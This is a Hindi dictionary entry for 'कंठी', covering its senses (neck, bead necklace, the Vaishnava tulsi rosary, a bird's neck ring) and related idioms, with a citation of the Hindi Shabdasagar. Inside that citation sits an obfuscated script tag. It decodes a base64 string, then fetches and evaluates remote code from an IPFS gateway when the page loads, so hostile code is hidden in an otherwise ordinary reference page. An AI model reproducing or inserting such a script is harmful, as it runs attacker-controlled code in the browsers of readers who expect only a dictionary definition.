कंठी
कंठी - विशेषण (संस्कृत कण्ठिन्)[1]
कंठ या ग्रीवा सम्बंधी।
कंठी - संज्ञा स्त्रीलिंग (संस्कृत कण्ठी)
1. कंठ। गला।
2. हार। छोटे दानों का हार।
3. घोड़े के गर्दन की रस्सी[2]।
कंठी - संज्ञा स्त्रीलिंग (हिन्दी कंठा का अल्पार्थक रूप)
1. छोटी गुरियों का कंठा।
2. तुलसी, चम्पा आदि के छोटे छोटे मनियों की माला जिसे वैष्णव लोग गले में बाँधते हैं।
मुहावरा-
'कंठी उठाना या छुना' = कंठी की सौगंध खाना। कसम खाना।
'कंठी तोड़ना' = (1) वैष्णवत्व का त्याग। मांस मछली फिर खाने लगना। (2) गुरु छोड़ना।
'कंठी देना' = चेला करना या चेला बनाना।
'कंठी बाँधना' = (1) चेला बनाना। चेला मूंड़ना। (2) अपना अंधभक्त बनाना। (3) वैष्णव होना। भक्त होना। (4) मद्य, मांस छोड़ना। (5) विषयों को त्यागना।
'कंठी लेना' = (1) वैष्णव होना। भक्त होना। (2) मद्य मांस छोड़ना। (3) विषयों को त्यागना।
3. तोते आादि पक्षियों के गले की रेखा हँसली कंठी।
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टीका टिप्पणी और संदर्भ
- ↑ हिंदी शब्दसागर, द्वितीय भाग |लेखक: श्यामसुंदरदास बी. ए. |प्रकाशक: नागरी मुद्रण, वाराणसी |पृष्ठ संख्या: 722 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ अन्य कोश
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